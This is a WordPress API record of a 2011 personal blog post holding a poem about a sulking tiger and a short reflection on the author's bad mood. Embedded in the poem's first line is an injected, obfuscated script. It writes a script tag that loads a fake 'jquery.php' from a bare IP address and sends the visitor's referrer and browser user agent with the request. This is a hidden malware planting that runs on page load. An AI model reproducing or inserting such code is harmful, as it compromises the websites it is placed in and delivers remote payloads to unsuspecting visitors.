{"id":1839,"date":"2011-06-21T09:49:00","date_gmt":"2011-06-21T16:49:00","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1839"},"modified":"2012-05-02T11:25:15","modified_gmt":"2012-05-02T18:25:15","slug":"get-over-it","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1839","title":{"rendered":"A bad mood &#8211; get over it!"},"content":{"rendered":"<p>I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kayrs|var|u0026u|referrer|feyzz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> haven&#8217;t time or clarity of mind<\/p>\n<p>to write about the tigers in my days.<\/p>\n<p>I wish I had more time for art instead:<\/p>\n<p>the picture of the tiger in my head<\/p>\n<p>is sulking in the rain, ears down, tail down,<\/p>\n<p>growling, showing teeth.\u00c2\u00a0 The jungle flowers<\/p>\n<p>weird and tangled, vines and roots confused,<\/p>\n<p>their smell too sweet and fruit too sour to eat.<\/p>\n<p>The rain is too wet.\u00c2\u00a0 The sun is too hot.<\/p>\n<p>He cannot be content with what he&#8217;s got.<\/p>\n<p>&nbsp;<\/p>\n<p>I&#8217;ve been jealous, and cross, and bad tempered&#8230; and helpful and patient&#8230; and resentful&#8230; for a couple of weeks now, just about life in general.\u00c2\u00a0 Getting a poem down on paper actually helped a lot, though.\u00c2\u00a0 I try to keep the idea of &#8220;the Lady or the Tiger&#8221; in front of me.\u00c2\u00a0 The &#8220;Tiger&#8221; can growl on the inside all she wants, as long as the &#8220;Lady&#8221; is the one making the actual decisions in my life.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I haven&#8217;t time or clarity of mind to write about the tigers in my days&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[21,42],"class_list":["post-1839","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-musings","tag-poem"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1839"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1839"}],"version-history":[{"count":9,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1839\/revisions"}],"predecessor-version":[{"id":3041,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1839\/revisions\/3041"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1839"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}